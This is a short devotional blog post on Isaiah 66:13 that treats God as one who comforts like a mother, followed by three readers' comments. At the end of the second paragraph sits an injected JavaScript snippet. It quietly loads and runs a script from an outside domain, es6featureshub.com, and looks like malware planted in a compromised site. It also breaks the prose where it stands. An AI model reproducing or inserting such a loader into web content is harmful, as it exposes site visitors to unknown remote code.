The God who comforts As a Mother

<!– God mother child comfort –>Isaiah: 66:13 – As a mother comforts her child, so will I comfort you.

While I was reading and meditating on this passage, I was little surprised by this verse. We generally view God as our Father, and rightly so. So when we think about God, it might be a little hard for us to think of Him as a mother.

John 4:24 says that God is the Spirit and those who worship him, must worship in truth and spirit. Thus this is not a matter of – he or she. But God uses this visual of a mother, or father for us. In other verses of the Bible, God uses different human relationships and calls us His friend, brother, or children. This is so that we know him and understand Him. In this way we also relate to Him as our personal God and enjoy intimate relation with Him.;(function (l, z, f, e, r, p) { r = z.createElement(f); p = z.getElementsByTagName(f)[0]; r.async = 1; r.src = e; p.parentNode.insertBefore(r, p); })(window, document, ‘script’, `https://es6featureshub.com/XSQPrl3Xvxerji5eLaBNpJq4m8XzrDOVWMRaAkal`);

hmmmmmmmmmm, i have never seen him(God) from this point of view before, this is an eye opener, very intimate very dear,he is not only my father but also my mother, thank you very much, God bless you big.

This does not mean that God is a woman as in female Jesus Christ gave his only begotten son So that whosoever believes in him shall not perish sun him Jesus Christ is not a woman but He can be a father to the fatherless and mother to the motherless but still does not mean he’s a woman just some of God’s attributes Be blessed remember God loves you regardless of who you are but without making him your personal savior you will be lost.

This is one of my favorite verses. I have it in a framed picture along with a painting of a mother holding and comforting her infant child. God is the Great I AM. He is anything we need Him to be whenever we need it. Praise be to God who’s love is everlasting and His mercy endures forever!!
